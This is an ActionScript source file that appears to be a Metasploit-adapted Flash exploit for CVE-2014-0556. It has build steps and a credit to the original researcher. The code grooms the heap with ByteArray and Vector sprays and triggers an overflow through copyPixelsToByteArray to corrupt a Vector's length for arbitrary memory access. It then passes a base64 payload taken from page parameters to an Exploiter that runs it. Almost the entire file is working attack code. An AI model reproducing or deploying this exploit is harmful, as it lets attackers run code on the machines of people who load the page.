84 lines
2.7 KiB
ActionScript
84 lines
2.7 KiB
ActionScript
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// Build how to:
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// 1. Download the AIRSDK, and use its compiler.
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// 2. Download the Flex SDK (4.6)
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// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
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// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
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// 4. Build with: mxmlc -o msf.swf Main.as
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// Original code by @hdarwin89 // http://hacklab.kr/cve-2014-0556-%EB%B6%84%EC%84%9D/
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// Modified to be used from msf
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package
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{
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import flash.display.Sprite
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import flash.display.BitmapData
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import flash.geom.Rectangle
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import flash.utils.ByteArray
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import flash.display.LoaderInfo
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import mx.utils.Base64Decoder
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public class Exploit extends Sprite
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{
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private var uv:Vector.<uint>
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private var exploiter:Exploiter
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private var b64:Base64Decoder = new Base64Decoder()
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private var payload:ByteArray
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private var platform:String
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private var os:String
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private var bv:Vector.<ByteArray> = new Vector.<ByteArray>(12800)
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private var ov:Vector.<Object> = new Vector.<Object>(12800)
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private var bd:BitmapData = new BitmapData(128, 16)
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public function Exploit()
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{
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var i:uint
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platform = LoaderInfo(this.root.loaderInfo).parameters.pl
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os = LoaderInfo(this.root.loaderInfo).parameters.os
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var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
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var pattern:RegExp = / /g;
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b64_payload = b64_payload.replace(pattern, "+")
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b64.decode(b64_payload)
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payload = b64.toByteArray()
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for (i = 0; i < bv.length; i++) {
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bv[i] = new ByteArray()
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bv[i].length = 0x2000
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bv[i].position = 0xFFFFF000
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}
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for (i = 0; i < bv.length; i++)
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if (i % 2 == 0) bv[i] = null
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for (i = 0; i < ov.length; i++) {
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ov[i] = new Vector.<uint>(1022)
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ov[i][0] = 0xdeadbeef
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}
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bd.copyPixelsToByteArray(new Rectangle(0, 0, 128, 16), bv[6401])
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for (i = 0; i < ov.length ; i++) {
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if (ov[i].length == 0xffffffff) {
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uv = ov[i]
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uv[0] = 0xdeadbeef
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uv[1] = 0xdeedbeef
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for(var j:uint = 0; j < 4096; j++) {
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if (uv[j] == 1022 && uv[j + 2] == 0xdeadbeef) {
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uv[0x3fffffff] = uv[j + 1]
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break
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}
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}
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} else {
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ov[i] = null
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}
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}
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for (i = 0; i < bv.length; i++) {
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bv[i] = null
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}
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exploiter = new Exploiter(this, platform, os, payload, uv)
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}
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}
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}
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